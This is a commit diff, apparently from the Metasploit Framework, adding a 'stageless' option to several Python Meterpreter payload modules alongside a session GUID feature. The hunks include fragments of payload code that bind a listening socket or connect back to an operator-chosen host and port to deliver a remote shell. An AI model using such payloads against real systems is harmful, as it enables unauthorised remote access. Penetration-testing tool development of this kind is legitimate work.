Add support for the session GUID in the UI

The Session GUID will identify active sessions, and is the beginning of
work that will allow for tracking of sessions that have come back alive
after failing or switching transports.
This commit is contained in:
OJ
2017-06-05 20:20:42 +10:00
parent 8c35e54934
commit 37b9cd07a2
28 changed files with 389 additions and 240 deletions
@@ -37,6 +37,7 @@ module MetasploitModule
socket_setup << "bind_sock.listen(1)\n"
socket_setup << "s, address = bind_sock.accept()\n"
opts[:stageless_tcp_socket_setup] = socket_setup
opts[:stageless] = true
met = stage_meterpreter(opts)
py_create_exec_stub(met)
@@ -37,7 +37,8 @@ module MetasploitModule
url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]
http_proxy_port: opts[:proxy_port],
stageless: true
})
py_create_exec_stub(met)
@@ -38,7 +38,8 @@ module MetasploitModule
url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]
http_proxy_port: opts[:proxy_port],
stageless: true
})
py_create_exec_stub(met)
@@ -35,6 +35,7 @@ module MetasploitModule
socket_setup = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n"
socket_setup << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
opts[:stageless_tcp_socket_setup] = socket_setup
opts[:stageless] = true
met = stage_meterpreter(opts)
py_create_exec_stub(met)